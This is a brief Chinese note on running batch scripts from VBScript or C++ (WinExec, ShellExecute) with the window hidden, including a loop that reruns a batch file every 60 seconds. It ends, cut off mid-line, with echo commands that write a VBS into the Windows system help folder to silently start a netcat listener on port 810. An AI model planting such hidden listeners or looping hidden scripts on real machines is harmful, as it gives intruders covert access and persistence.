2020年5月7日11:14:47
使用Cscript.exe运行vbs会弹出cmd窗口
避免方法:
管理员权限运行cmd,输入cscript.exe //H:WScript,将默认的脚本宿主改为 WScript.exe,即可解决。
Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c install.bat",vbhide
#install.bat 为要执行的脚本名称,需要和xxx.vbs脚本放到同一个目录下
运行cmd.exe时,加了/c参数后它将运行/c后面的命令,不加参数的话,它只执行CMD命令。
system("xxx"),相当于执行cmd.exe /c xxx。
使用WinExec或ShellExecute和cmd.exe /c 来达到隐藏窗口的目的。
示例:
WinExec("cmd.exe /c dir > d:\\abc.txt", SW_HIDE);ShellExecute(nullptr, L"open", L"cmd.exe", L"/c dir > d:\\abc.txt", nullptr, SW_HIDE);
单次运行请用这个,修改auto.bat为你要运行的批处理文件的名字,并将以下内容保存为vbs格式,放到auto.bat文件所在目录,名字随便,例如run.vbs
Set shell = Wscript.createobject("wscript.shell")a = shell.run ("auto.bat",0)
循环运行请用这个,示例为每60秒运行一次,保存格式和所放置的目录同1所述
dim a
set a=CreateObject("Wscript.Shell")
Do
a.run "auto.bat"
Wscript.Sleep 60000
Loop
echo dim wsh > %systemroot%/help/test.vbs
echo set wsh=CreateObject("WScript.Shell") >> %systemroot%/help/test.vbs
echo wsh.run "cmd /c %systemroot%/help/nc -v -l -p 810 < %systemroot%/help/or.txt",0 >